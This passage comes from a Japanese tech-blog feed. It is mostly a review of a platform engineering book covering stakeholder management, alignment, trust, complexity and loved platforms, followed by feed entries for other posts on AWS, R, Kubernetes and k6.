Stakeholder Relationships」は、プラットフォームエンジニアリングにおけるステークホルダー管理の重要性と実践的なアプローチについて詳細に解説しています。著者は、プロダクトマネジメントとステークホルダーマネジメントの違いを明確にし、後者がプラットフォームチームの成功にとって極めて重要であることを強調しています。社内政治の教科書作者:高城 幸司ダイヤモンド社Amazonステークホルダーマッピング:パワー・インタレストグリッドFigure 10-1. Power-interest grid, showing the four quadrants of stakeholders based on their power within the organization and interest in your work より引用[Figure 10-1]は、ステークホルダーのマッピングを「パワー」と「関心」の2軸で表現した重要な図です。この図は、ステークホルダーを4つの象限に分類し、それぞれに対する適切なアプローチを示しています。私の経験でも、このような体系的なマッピングは、限られたリソースを効果的に配分する上で非常に有用でした。Figure 10-2. The power-interest grid showing Juan’s stakeholders より引用[Figure 10-2]では、架空の例としてJuanというVPのステークホルダーマップが示されています。この例は、現実のプラットフォームチームが直面する複雑なステークホルダー関係を見事に表現しています。特に重要なのは、パワーと関心の高いステークホルダー(CPOや主要エンジニアリングチームのリーダー)に対する戦略的なアプローチの必要性です。適切な透明性でのコミュニケーション著者は、ステークホルダーとのコミュニケーションにおいて、過度な詳細の共有を避けることの重要性を強調しています。これは、私のチームでも痛感した教訓です。以前、技術的な詳細を過度に共有したことで、かえってステークホルダーの不信感を招いた経験があります。特に重要なのは、1:1ミーティングの戦略的な活用です。初期段階での関係構築には有効ですが、組織の成長とともにその限界も見えてきます。私の経験では、四半期ごとのKeep Satisfied/Keep Informedステークホルダーとの1:1、そして月次でのManage Closelyステークホルダーとの1:1というリズムが効果的でした。受け入れ可能な妥協点の見出し方ステークホルダーとの関係において、妥協は避けられない現実です。特に印象的なのは、「yes, with compromises」というアプローチです。これは、完全な拒否でも無条件の受け入れでもない、現実的な解決策を提供します。シャドウプラットフォームの問題は、多くのプラットフォームチームが直面する課題です。私のチームでも、ある部門が独自のプラットフォームを構築し始めた際、最初は抵抗を感じました。しかし、著者が提案するように、パートナーシップのアプローチを取ることで、最終的には組織全体にとって価値のある結果を生み出すことができました。予算管理とコストの課題経済的な逆風時における予算管理は、プラットフォームチームにとって特に難しい課題です。著者が提案する3段階のアプローチ(明日の受益者の特定、チーム単位での作業のグループ化、カットすべき箇所と維持すべき箇所の明確化)は、実践的で効果的です。私の経験では、ビジネスへの直接的な価値の提示が特に重要でした。例えば、効率化プロジェクトの場合、具体的なコスト削減額を示すことで、予算の正当性を説得力を持って説明することができました。章全体からの学びこの章から得られる最も重要な教訓は、ステークホルダー管理がプラットフォームチームの成功にとって決定的に重要であるという点です。これは単なるコミュニケーションの問題ではなく、組織の戦略的な成功要因です。私の経験からも、良好なステークホルダー関係は、困難な時期を乗り越えるための重要な資産となります。特に、予算削減や組織変更といった厳しい局面では、日頃からの信頼関係が決定的な違いを生みます。最後に、この章が提供する実践的なフレームワークと具体例は、現代のプラットフォームエンジニアリングリーダーにとって、極めて価値のある指針となるでしょう。Part III. What Does Success Look Like?第3部は、プラットフォームエンジニアリングの成功をホリスティックに評価するアプローチを提示しています。Alice in Wonderlandからの引用が示唆するように、プラットフォームチームは常に走り続けているにもかかわらず、その進捗が見えにくいという現実に直面します。著者は、単純なメトリクスやモデルだけでは不十分だとし、アライメント、信頼、複雑性管理、愛される存在という4つの評価領域を提案しています。これは私の実務経験とも強く共鳴します。特に、CNCFのプラットフォームエンジニアリング成熟度モデルを参考にしつつも、より包括的な評価アプローチを取ることの重要性は、多くのプラットフォームリーダーにとって価値のある指針となるでしょう。Chapter 11. Your Platforms Are Aligned第11章「Your Platforms Are Aligned」は、プラットフォームエンジニアリングチームの成功を評価する最初の基準として「アライメント(整合性)」を深く掘り下げています。この章を通じて、著者はプラットフォームチーム間のアライメントがいかに重要か、そしてミスアライメントがどのような問題を引き起こすかを具体的に示しています。特に印象的なのは、冒頭のTom DeMarcoとTim Listerの「チームの目的は目標の達成ではなく、目標の整合性である」という言葉です。この視点は、現代のプラットフォームエンジニアリングにおいて極めて重要な示唆を提供しています。アジャイルチームによる目標づくりガイドブック OKRを機能させ成果に繋げるためのアプローチ作者:小田中 育生翔泳社Amazon目的のアライメント著者は目的のアライメントの重要性を、継続的インテグレーション(CI)プラットフォームと運用システムプラットフォームの対立という具体例を通じて説明しています。この事例は、私自身が経験したプラットフォームチーム間の対立を思い起こさせます。特に印象的なのは、OSプラットフォームチームがインフラストラクチャマインドセットを保持し、顧客体験よりも技術的完璧さを優先してしまうという状況です。著者は、プラットフォームチームの共通目的として、製品(キュレートされた製品アプローチ)、開発(ソフトウェアベースの抽象化)、幅広さ(広範な開発者基盤へのサービス提供)、運用(ビジネスの基盤としての運用)という4つの柱を挙げています。これらの柱は、プラットフォームチームが技術的な卓越性だけでなく、組織全体の価値創出に貢献するための重要な指針となります。製品戦略のアライメント製品戦略のアライメントについて、著者は4つのプラットフォームチームが異なる技術的選択を行い、その結果として5つの異なるコンピュートプラットフォームが存在するという事例を挙げています。これは、私が以前経験した状況と非常によく似ています。チーム間の協調不足が、重複した機能と互換性の問題を引き起こし、結果として顧客にとって使いづらい環境を作ってしまうのです。著者は、この問題に対する解決策として、独立したプロダクトマネジメント、独立したリードIC、全社的な顧客調査からのフィードバック、そして必要に応じた組織再編という4つのアプローチを提案しています。特に、プロダクトマネジメントの独立性について、エンジニアリングマネージャーの直接の影響下から切り離すことの重要性は、実践的な示唆に富んでいます。計画のアライメント計画のアライメントに関して、著者は大規模なプロジェクト(1開発者年以上)に焦点を当てることの重要性を強調しています。細かい計画まで全てを統制しようとすると、チームの機動性が失われ、緊急のニーズに対応できなくなるリスクがあります。これは私の経験とも一致しており、特に大規模な組織では、過度な計画の詳細化がかえって効果的な実行の妨げとなることがあります。著者は、意見の対立を避けることなく、むしろそれを前向きに活用することを提案しています。Amazonの「Have Backbone; Disagree and Commit」という原則を引用しながら、強い信念を持ちつつも、最終的な決定には全面的にコミットするという姿勢の重要性を説いています。プリンシプルドリーダーシップによるアライメント著者は、最終的なアライメントが原則に基づいたリーダーシップから生まれると主張しています。これは単なる上意下達ではなく、協調的で透明性のあるプロセスを通じて、チーム全体が理解し、納得できる決定を導き出すことの重要性を示しています。組織の共通目標を達成するための計画と実行は、単なるトップダウンの意思決定ではなく、チーム全体の協力と理解に基づいて進められるべきです。組織のアライメントへの道筋組織全体のアライメントを実現するには、単なる技術的な調整以上のものが必要です。著者が示す通り、プラットフォームチームのリーダーは、技術的な卓越性とビジネス価値のバランスを取りながら、組織全体の目標達成に向けて多様なステークホルダーと協力していく必要があります。特に、競合するプロジェクトや優先順位の調整において、オープンな議論と明確な意思決定プロセスが重要となります。プラットフォームエンジニアリングの成功は、明確な目標設定と、その目標に向けた組織全体の一貫した取り組みにかかっています。アライメントを通じて、組織は効果的なプラットフォームを構築し、継続的な改善を実現することができます。この章は、そのための具体的な指針と実践的なアプローチを提供しています。章全体からの学びこの章から得られる最も重要な教訓は、プラットフォームアライメントが組織の成功に直接的な影響を与えるという点です。著者が強調するように、アライメントは単なる技術的な統一ではなく、目的、製品戦略、計画という3つの次元で実現される必要があります。私の経験からも、これらの要素が適切に整合していない場合、チーム間の摩擦や非効率な重複投資、そして最終的には顧客満足度の低下につながることを痛感しています。特に印象的なのは、アライメントが「測定可能な改善」と密接に結びついているという著者の指摘です。プラットフォームの成功を評価するには、まず目標について合意し、それに向かって進む必要があります。アライメントのプロセスを通じて、組織は焦点を当てるべき領域をより明確に理解し、具体的な目標と作業項目を設定することができます。私の実務経験でも、製品市場のフィードバックを定期的に収集し、内部メトリクスだけでなく実際のユーザーの声に耳を傾けることで、プラットフォームが選択した方向性が正しいかどうかを判断できることを学びました。これは著者が指摘する「プラットフォームが改善すべき点を意識的に選択できる」という考えと完全に一致します。著者が指摘するように、この章の内容はプラットフォームエンジニアリングに特有のものではありません。しかし、プラットフォームエンジニアリングの文脈では、その価値が直接的な収益成長などの明確な指標で測定できないことが多く、投資先の選択においてより大きな裁量が求められます。これは、プラットフォームリーダーシップの最大の課題の一つとなっています。最後に、この章は個々のプロダクトチームが独自の視点で構築を進めることの危険性を明確に示しています。確かに、これによって部分的な成功は得られるかもしれませんが、チーム全体としての整合性が欠如すると、真の卓越性は達成できません。プラットフォームエンジニアリングの真の成功は、技術的な優秀性だけでなく、組織全体のアライメントを通じて実現されるのです。これらの学びを実践に移す際は、組織の規模や成熟度に応じて適切にアプローチを調整する必要があります。アライメントは一朝一夕には達成できませんが、継続的な対話と調整を通じて、段階的に実現していくことが可能です。Chapter 12. Your Platforms Are Trusted第12章「Your Platforms Are Trusted」は、プラットフォームエンジニアリングにおける信頼の重要性と、その獲得・維持の方法について深く掘り下げています。著者は、Warren Buffettの「信頼は空気のようなものだ - 存在するときは誰も気付かないが、欠如したときは誰もが気付く」という言葉を引用しながら、プラットフォームの成功には信頼が不可欠であることを強調しています。特に、この章では運用能力、大規模投資の意思決定、そしてビジネスへのボトルネック化という3つの主要な信頼喪失のリスクに焦点を当てています。運用における信頼構築運用面での信頼構築について、著者は単なるプラクティスの導入以上のものが必要だと指摘しています。私自身の経験でも、オンコール体制やSLOの設定だけでは、アプリケーションチームの信頼を完全に獲得することは困難でした。特に印象的なのは、経験値の圧縮が不可能であるというAmazonの教訓です。これは、大規模運用の経験は実際の運用を通じてしか得られないという現実を端的に表現しています。著者は、この課題に対する2つのアプローチを提案しています。1つ目は大規模運用経験を持つリーダーの採用と権限付与、2つ目は運用リスクの許容度に基づくユースケースの優先順位付けです。これらは、私が過去に経験した運用信頼性の向上プロジェクトとも共鳴する実践的なアプローチです。信頼構築の実践において、私たちのチームで特に効果的だったのは、段階的なアプローチの採用です。まず、非クリティカルなワークロードから始めて、運用の安定性を実証し、そこから徐々にミッションクリティカルなワークロードへと移行していく方法を取りました。例えば、新しいコンテナオーケストレーションプラットフォームの導入時には、最初は内部の開発環境のワークロードのみを対象とし、3ヶ月間の安定運用を確認した後に、段階的に本番環境のワークロードを移行していきました。この過程で特に重要だったのは、透明性の高いコミュニケーションです。週次のステータスレポートでは、インシデントの詳細な分析結果だけでなく、それに基づく具体的な改善計画も共有しました。また、主要なステークホルダーとの定期的な1on1ミーティングでは、技術的な課題だけでなく、ビジネス目標との整合性についても率直な議論を行いました。このような取り組みを通じて、運用面での信頼を着実に築き上げることができました。syu-m-5151.hatenablog.com大規模投資における信頼構築大規模投資に関する信頼構築について、著者は技術的ステークホルダーの賛同とエグゼクティブスポンサーシップの重要性を強調しています。私の経験でも、技術的な正当性だけでなく、ビジネス価値の明確な説明が、大規模投資の承認を得る上で決定的に重要でした。特に、既存システムの維持管理を怠らないことの重要性は、実務を通じて痛感しています。著者が提示する「Icicle」チームの事例は、特に示唆に富んでいます。高レイテンシーに敏感なワークロードを持つチームの信頼を獲得するために、プラットフォームチームが自身の技術的な「正しさ」にこだわるのではなく、顧客のニーズに合わせて柔軟に戦略を変更した例は、現代のプラットフォームエンジニアリングにおいて極めて重要な教訓を提供しています。私たちの組織では、大規模投資の承認プロセスにおいて、段階的なマイルストーンと明確な成功指標の設定を重視しています。例えば、新しいマイクロサービスプラットフォームへの投資では、6ヶ月ごとの具体的な目標を設定し、各フェーズでの成果を定量的に評価できるようにしました。これにより、投資の妥当性を継続的に検証し、必要に応じて計画を調整することが可能になりました。特に重要なのは、ビジネス価値の可視化です。技術的な改善だけでなく、開発者生産性の向上、運用コストの削減、新機能のリリース速度の改善など、具体的な数値で効果を示すことで、エグゼクティブの継続的なサポートを得ることができました。この経験から、大規模投資の成功には、技術的な実現可能性とビジネス価値の両面からの綿密な検討が不可欠だと実感しています。優先順位付けと信頼ビジネスのボトルネックとなることを避けるための信頼構築について、著者はベロシティの文化醸成とプロジェクトの優先順位付けの重要性を説いています。私のチームでも、計画された作業と緊急の要求のバランスを取ることは常に課題でした。特に、「次の四半期のOKRまで待つ必要がある」という対応は、アジャイルなビジネス環境では受け入れられないという著者の指摘は、現実の組織運営と強く共鳴します。著者が紹介するDiego Quirogaの事例は、ボトルネック解消の実践的なアプローチを示しています。特に、セルフサービス化による効率化とサポート要求の分析に基づく改善は、私自身のプラットフォーム改善プロジェクトでも有効だった施策です。過度に結合したプラットフォームの教訓著者は、「バッテリー込み」アプローチの失敗事例を通じて、プラットフォームの過度な結合がもたらす問題を説明しています。この事例は、エンドツーエンドのワークフローを提供しようとするあまり、コンポーネント間の結合が強くなり、最終的に運用の安定性と機能追加の柔軟性を失ってしまうという、多くのプラットフォームチームが陥りがちな罠を見事に描き出しています。章全体からの学びこの章の最も重要な教訓は、信頼の構築には時間がかかるが、その喪失は一瞬であるという現実です。運用上の予期せぬ問題、ビジネスの急激な変化、チームの離職など、私たちの制御を超えた多くの要因が信頼を損なう可能性があります。そのため、プラットフォームリーダーには、日々の活動を通じて継続的に信頼を強化していく努力が求められます。特に印象的なのは、多くのプラットフォームリーダーが陥りがちな傲慢さへの警告です。技術的な正しさにこだわるあまり、顧客やステークホルダーの声に耳を傾けない態度は、長期的な成功の妨げとなります。プラットフォームの真の成功は、技術的な卓越性とビジネス要求への迅速な対応の両立にかかっているのです。この章の学びは、現代のクラウドネイティブ環境において、ますます重要性を増していくでしょう。プラットフォームの信頼性と柔軟性の両立、そして顧客との信頼関係の構築は、今後のプラットフォームエンジニアリングの成功に不可欠な要素となります。Chapter 13. Your Platforms Manage Complexity第13章「Your Platforms Manage Complexity」は、プラットフォームエンジニアリングにおける複雑性管理の本質と実践について深く掘り下げています。著者は、Donald A. Normanの「人々の望ましい行動ではなく、実際の行動に合わせて設計しなければならない」という言葉を引用しながら、複雑性管理が単なる技術的な課題ではなく、人間の行動や組織の現実を考慮に入れた総合的なアプローチを必要とすることを強調しています。 speakerdeck.com意図せぬ複雑性の管理複雑性管理の成功を測る重要な指標の一つは、アプリケーションチームが必要とする「グルー(接着剤)コード」の量です。私の経験では、プラットフォームチームが提供する抽象化が不適切な場合、アプリケーションチームは独自のグルーコードを書かざるを得なくなり、結果として全体の複雑性が増大してしまいます。特に注目すべきは、著者が指摘する「ヒューマングルー」の問題です。これは、技術的なグルーコードの削減を目指すあまり、人間による手動の調整や対応に依存してしまう状況を指します。私のチームでも、以前は運用上の問題解決に人間の介入を多用していましたが、これは持続可能な解決策ではありませんでした。このような課題に対して、私たちは自動化と適切な抽象化のバランスを重視するアプローチを採用しています。例えば、マイグレーションプロジェクトでは、所有権メタデータレジストリを活用し、チケットの自動割り当てと進捗管理を実現しました。これにより、人的なプロジェクト管理の負担を大幅に削減することができました。シャドウプラットフォームの管理シャドウプラットフォームの問題について、著者は完全な抑制ではなく、適切な管理の重要性を説いています。私の経験でも、アプリケーションチームによる独自のプラットフォーム構築を全面的に禁止することは、イノベーションの芽を摘んでしまう危険性があります。特に印象的なのは、シャドウプラットフォームを組織の学習機会として捉える視点です。あるプロジェクトでは、データサイエンスチームが構築した独自のプラットフォームを、最終的に全社的なソリューションへと発展させることができました。これは、パイオニア的なイノベーションとエンタープライズレベルの安定性のバランスを取る良い例となりました。著者が提示する「Single Pane of Glass」のアンチパターンの分析も示唆に富んでいます。統合UIの構築は一見魅力的に見えますが、実際にはベンダーツールの進化に追従することの難しさや、異なるユーザーペルソナのニーズへの対応など、予想以上の複雑性をもたらす可能性があります。成長の管理による複雑性制御著者は、無制限な成長が複雑性を増大させる要因となることを警告しています。これは私の実務経験とも強く共鳴します。特に印象的なのは、効率性の向上とチーム規模の拡大のバランスについての指摘です。私のチームでも、新しい課題に直面するたびに人員を増やすのではなく、まず既存のプロセスの効率化や自動化を検討するようにしています。著者が提案する「既存の領域での新しい作業は、そのチームの既存のメンバーによってまかなわれるべき」というルールは、実践的な指針として非常に有用です。これにより、チームは優先順位の明確化と効率化への投資を迫られ、結果として複雑性の管理にも寄与します。プロダクトディスカバリーを通じた複雑性管理プロダクトディスカバリーの重要性について、著者はオープンソースシステムの導入を例に説明しています。私の経験では、顧客の要求をそのまま受け入れてオープンソースシステムを提供するのではなく、真の要件の理解と適切な抽象化のレベルを見極めることが重要です。特に印象的なのは、データ処理系のOSSに関する事例です。PostgreSQL、Cassandra、MongoDBなどの広範なインターフェースを持つシステムの運用は、ユースケースと利用者の増加に伴って線形に複雑性が増大していきます。これは、多くのプラットフォームチームが直面する現実的な課題です。内部と外部の複雑性のバランス最後に著者が示すデータプラットフォームの事例は、複雑性管理の実践的なチャレンジを見事に描き出しています。10人程度のチームがPostgreSQL、Kafka、Cassandraなどの複数のOSSシステムを運用する中で直面した課題は、私自身の経験とも強く共鳴します。特に、運用負荷の増大と顧客要求の多様化のバランスを取ることの難しさは、多くのプラットフォームチームが直面する普遍的な課題です。著者が描写する改善の試行錯誤のプロセスは、とりわけ示唆に富んでいます。ベンダーのホステッドサービスへの移行、SLAの明確化、APIの完全なカプセル化など、様々なアプローチを試みながらも、それぞれに課題があったという経験は、私たちの組織でも同様でした。特に印象的なのは、これらの「失敗」を通じて、真の顧客ニーズの理解と実現可能な解決策の発見につながっていったという点です。最終的な解決策として導き出された、シンプルな(key, value)セマンティクスのプラットフォームと特定のユースケースに最適化されたSQL系システムの組み合わせは、複雑性管理の理想的なアプローチを示しています。これは、完璧な解決策を一度に実現しようとするのではなく、段階的な改善と顧客との密接な協力を通じて、持続可能な解決策を見出していく過程の重要性を示しています。章全体からの学びこの章の最も重要な教訓は、複雑性管理が継続的な取り組みであり、完全な解決は望めないという現実的な認識です。しかし、これは諦めるべき理由ではなく、むしろ組織の北極星として、継続的な改善の方向性を示す指針となります。私の経験からも、複雑性管理の成功には、技術的なソリューション、組織的な取り組み、そして顧客との協力の3つの要素が不可欠です。特に重要なのは、完璧を求めるのではなく、継続的な改善と学習のサイクルを確立することです。最後に、この章は現代のプラットフォームエンジニアリングが直面する本質的な課題に対する実践的な洞察を提供しています。複雑性の管理は、技術的な課題であると同時に、組織的な課題でもあります。プラットフォームエンジニアリングチームのリーダーとして、この両面からのアプローチを常に意識しながら、持続可能な改善を推進していく必要があるでしょう。Chapter 14. Your Platforms Are Loved第14章「Your Platforms Are Loved」は、プラットフォームエンジニアリングにおける「愛される」という概念の意味と重要性について深く掘り下げています。著者は、Tina Turnerの「What\'s love got to do with it?」という問いかけから始め、内部向けのツールが「愛される」必要があるのかという根本的な疑問に対して、説得力のある回答を提示しています。この章では、プラットフォームが単に機能するだけでなく、ユーザーに愛される存在となることが、実は生産性向上の重要な指標となることを示しています。愛されるプラットフォームの本質著者は、日常生活で私たちが愛用する道具を例に挙げ、プラットフォームが「愛される」とはどういうことかを説明しています。私の経験でも、最も成功したプラットフォームは、必ずしも最も高価なものや機能が豊富なものではなく、特定の目的に対して適切に設計され、信頼性高く動作するものでした。特に印象的なのは、著者が生産性の直接的な測定の難しさに触れながら、「愛される」ことを生産性の代理指標として捉える視点です。私のチームでも、以前は定量的なメトリクスにこだわりすぎて、実際のユーザー体験を見失いかけた時期がありました。単純な採用率や効率性の指標に固執すると、プラットフォームチームが制御しやすいシステムを作ることに注力してしまい、実際のユーザーニーズを見失うという著者の指摘は、多くのプラットフォームチームが陥りがちな罠を的確に描写しています。「単に動く」から「愛される」への進化著者が紹介するAmazonのApolloプラットフォームの事例は、プラットフォームが「愛される」ために必要な要素を具体的に示しています。特に印象的なのは、優れたUIと自動化インターフェース、強い意見を持った設計、そして必要に応じて抽象化を「突き破れる」柔軟性という3つの特徴です。『INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント』では、成熟したIT企業の製品開発に共通する3つの特徴として、リスクを開発の最終段階ではなく初期段階で積極的に特定・対処すること、製品の定義とデザインを順序立てて進めるのではなく協調的に同時進行させること、そして単なる機能実装ではなく本質的な問題解決にフォーカスすることを挙げています。また著者は、優れたプロダクトマネジャーの条件として、顧客、データ、自社ビジネス、そして市場・業界それぞれについての深い知見を持つことが不可欠だと説いています。こちらの方が良いでしょうか?プロダクトマネジメントの本質をよりシンプルに表現してみました。INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント作者:マーティ・ケーガン,佐藤真治,関満徳日本能率協会マネジメントセンターAmazon私のチームでも、最近完了したコンテナオーケストレーションプラットフォームの刷新プロジェクトで、これらの原則を意識的に取り入れました。特に、「システムの状態をUIが正確に反映している」という信頼性の確保と、「特殊なケースにも対応できる拡張ポイントの提供」というバランスの取れた設計により、ユーザーからの高い評価を得ることができました。ハックのような解決策も愛される理由著者が紹介する「Waiter」プラットフォームの事例は、特に示唆に富んでいます。技術的には「ハック」のように見える実装でも、ユーザーの実際の問題を解決し、摩擦を最小限に抑えることができれば、強く支持される可能性があることを示しています。私の経験でも、「理想的」な設計からは外れるものの、ユーザーの具体的な課題を解決する実装が、結果として大きな価値を生み出すケースを何度か経験しました。例えば、あるマイクロサービスプラットフォームでは、理想的なマイクロサービスアーキテクチャの原則から外れる実装を許容することで、開発者の生産性を大幅に向上させることができました。明白な価値提供による信頼獲得著者が紹介するS3互換オブジェクトストアの事例は、既知の価値と適切な実装の組み合わせの重要性を示しています。特に重要なのは、認知度、互換性、エンジニアリング品質、市場投入までの時間という4つの要素です。これは、私が過去に経験した失敗から学んだ教訓とも一致します。章全体からの学びこの章の最も重要な教訓は、プラットフォームが「愛される」ということは、単なる感情的な問題ではなく、実際の生産性と価値創出に直結するという点です。特にSmruti Patelの「マルチツール」という比喩は、プラットフォームの本質を見事に表現しています。私の経験からも、最も成功したプラットフォームは、必ずしも最新のトレンドを追いかけたものではなく、基本的な信頼性を確保しながら、ユーザーの実際の問題を着実に解決していくアプローチを取ったものでした。愛されるプラットフォームを構築するには、技術的な卓越性だけでなく、ユーザーとの深い信頼関係の構築が不可欠です。これは一朝一夕には達成できませんが、継続的な改善と誠実な対話を通じて、確実に実現できる目標なのです。おわりに本書は、プラットフォームエンジニアリングという営みが、技術を極めることと人に寄り添うことの両立を求められる実践であることを、様々な現場での経験を通じて描き出しています。技術的な卓越性を追求しながらも、組織の変革に寄り添い、ステークホルダーとの信頼関係を育み、持続可能な文化を醸成していくという総合的な視点は、現代のソフトウェア開発組織が直面する本質的な課題に対する深い洞察を提供しています。プラットフォームエンジニアリングは、技術的な基盤を「作って終わり」にするのではなく、組織とともに成長し続ける生命体のような存在です。それは、日々の地道な技術の研鑽と、組織やユーザーのニーズへの繊細な理解が融合することで初めて、真の価値を生み出すことができます。本書は、その困難な実践に挑戦する人々にとって、同じ道を歩む先達からの贈り物となるでしょう。今後のソフトウェア開発において、プラットフォームエンジニアリングはますます重要な役割を担っていくことでしょう。しかし、その本質は変わることなく、技術を極めることと人に寄り添うことの両立にあり続けるはずです。本書で示された知見をもとに、各組織が自らの文脈に即した実践を積み重ね、技術と人間性が調和した真に価値あるプラットフォームエンジニアリングを実現していくことを願ってやみません。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/25/060600","isoDate":"2024-10-24T21:06:00.000Z","dateMiliSeconds":1729803960000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、 「内製化支援推進 AWS パートナー」認定を取得","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 アマゾン ウェブ サービス(以下AWS)の AWS パートナープログラムにおける「内製化支援推進 AWS パートナー」に認定されたことをお知らせします。The post スリーシェイク、 「内製化支援推進 AWS パートナー」認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws_partner/","isoDate":"2024-10-23T01:00:00.000Z","dateMiliSeconds":1729645200000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rでndjson形式のログを解析する","contentSnippet":"最近、ndjson形式のログをRで解析しました。やはりtidyverseを使える体験のよさは他の追随を許しません。ただ、ndjson形式を直接読み込む方法を知らずに、jqコマンドを使って通常のJSON形式に変換してから読み込んでいました(cat file.ndjson | jq -c -s . > file.json)。読み込みからRで完結したいと思ったので、方法を調べてみました。","link":"https://blog.atusy.net/2024/10/22/anaylze-ndjson-logs-in-r/","isoDate":"2024-10-22T00:00:00.000Z","dateMiliSeconds":1729555200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubernetesセキュリティDeep Dive","contentSnippet":"自己紹介 高橋 楓 公立千歳科学技術大学理工学部2年の高橋楓です。普段は趣味や他社の長期インターンにてソフトウェア開発を行っており、インフラ基盤にはDockerを利用しています。しかし、KubernetesやGoogle […]The post KubernetesセキュリティDeep Dive first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-security-deep-dive/","isoDate":"2024-10-21T11:49:27.000Z","dateMiliSeconds":1729511367000,"authorName":"Sreake","authorId":"Sreake"},{"title":"生成AI入門","contentSnippet":"https://genai-users.connpass.com/event/333130/\\rOSCオンラインで生成AIの基礎知識から、実際に活用できる技術まで、幅広く解説しました。\\r\\r生成AIとは何か、その仕組みを解説します。\\r生成AIモデルを比較し、具体的なユースケースを紹介します。\\rプロンプトエンジニアリング、RAG (Retrieval Augmented Generation)などの技術を説明します。\\rオープンソースライブラリLangChainについてご紹介します。\\r最後に生成AIが社会に与える影響や、今後の展望について考えます。","link":"https://speakerdeck.com/shukob/sheng-cheng-airu-men-340f58db-c1be-4877-92b9-7fbf1df3105e","isoDate":"2024-10-19T04:00:00.000Z","dateMiliSeconds":1729310400000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"k6 DevTools recorder を使ってみた","contentSnippet":"k6 DevTools recorder とはk6 のブラウザテストのスクリプトを生成してくれるツール(Chrome 拡張機能)です。Chrome DevTools Recorder を使って記録したフローをスクリプトに変換してくれます。https://grafana.com/docs/k6/latest/using-k6/test-authoring/create-tests-from-recordings/using-the-devtools-recorder/ 使ってみるCreate a script from a recording に使い方が書いてあります。C...","link":"https://zenn.dev/z63d/articles/0da90534fe5964","isoDate":"2024-10-16T12:00:33.000Z","dateMiliSeconds":1729080033000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"スリーシェイク、「Developers X Summit 2024」に出展","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供するSRE総合支援サービス「Sreake(スリーク)」は、2024年11月14日(木) に開催される「Developers X Summit 2024」にブース出展することをお知らせします。The post スリーシェイク、「Developers X Summit 2024」に出展 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/developers-x-summit-2024/","isoDate":"2024-10-15T01:36:55.000Z","dateMiliSeconds":1728956215000,"authorName":"Sreake","authorId":"Sreake"},{"title":"「大規模システムの効率的運用の裏側」というイベントに登壇するのでどんなこと話すか整理する #aeon_tech_hub","contentSnippet":"大規模システム運用の難しさは、その規模と複雑性に起因します。開発する人も多く、運用に関わる人間も多く、そしてシステムの性能や信頼性を評価する人間も多数います。この多様な関係者の利害が複雑に絡み合う中、技術的な課題に加え、人的・組織的な課題も顕著になります。さらに、複雑に構成されたシステムコンポーネントと日々向き合いながら、刻々と変化するビジネスの要求に応えていく必要があります。これらの要因が重なり合い、大規模システムの運用を極めて困難なものにしているのです。aeon.connpass.comはじめにこのたび、2024年10月23日に開催予定の「<Platform Engineering、DevOps、CCoE>大規模システムの効率的運用の裏側」というイベントに登壇者としてお呼びいただきました。大規模システムの効率的運用は非常に複雑な課題であり、アンチパターンはあっても画一的な正解はないと考えています。時に、人的・組織的な制約から、アンチパターンと言われるような策を採用せざるを得ない状況もあるでしょう。システム運用アンチパターン ―エンジニアがDevOpsで解決する組織・自動化・コミュニケーション作者:Jeffery D. SmithオライリージャパンAmazonこのような複雑な背景を持つ大規模システムの運用について議論する機会をいただき、大変光栄に思うとともに、その難しさも痛感しております。このブログでは、イベントの概要をお伝えするとともに、私が登壇者として特に議論したいと考えているポイントをご紹介します。大規模システムの効率的な運用に関心のある方々に、このイベントが提供する価値と、当日予想される議論の展開について、参考情報を提供できればと思います。イベント概要と登壇の意気込み「大規模システムを少人数で効率的に、そして安全に運用する工夫」をテーマにしたパネルディスカッションに登壇することになりました。このイベントでは、大規模システムの効率的な運用に関する最新のトレンドと実践的なアプローチについて議論したいです。イベントで期待すること時間の制約があるため、全ての話題を深く掘り下げることは難しいですが、以下のような内容について議論できればと思っています。1. 運用設計の重要性の再確認大規模システムの運用における設計の重要性について、特にプロセスの標準化と自動化について様々な観点から議論が展開されることを期待しています。特に注目したいのは、継続的デリバリーに関する最新トレンドです。これらは、効率的な運用の基盤となるものであり、常に進化し続けています。同時に、効果的な監視(Monitoring)と観測可能性(Observability)確保のベストプラクティスも重要なトピックです。システムの健全性を常に把握し、問題を早期に発見・対処するための手法は、大規模システム運用の要となります。さらに、実際の現場での継続的改善サイクルの実践例と、それに伴う課題についても深く掘り下げたいと考えています。理論と実践のギャップを埋め、実効性のある改善活動を展開するための知見が共有されることを期待しています。最後に、大規模システム特有のリスク管理とインシデント対応の効果的アプローチについても議論したいと思います。予期せぬ障害や障害への迅速かつ適切な対応は、システムの信頼性維持に不可欠です。これらのトピックを通じて、参加者の皆様が自身の環境で「次に効率化に取り組むべき観点」を見出すヒントになればと思います。限られた時間ではありますが、できるだけ具体的な事例や実践的なアドバイスを共有できるよう努めたいと考えています。運用設計の重要性を再確認し、その効果的な実践方法について深い洞察を得られる場となることを目指したいです。2. 現代的アプローチによる大規模システム運用の効率化大規模システムの効率的な運用を実現するためには、Platform Engineering、DevOps、CCoE(Cloud Center of Excellence)、そしてSRE(Site Reliability Engineering)といった現代的なアプローチの統合的な活用が不可欠です。これらの概念は、それぞれが独自の強みを持ちながら、相互に補完し合うことで、システム運用の効率性と信頼性を大きく向上させます。これらをスピーカーの方々がどう展開していくか楽しみです。各概念については概要とおすすめ資料を貼っておきます。2.1 Platform EngineeringPlatform 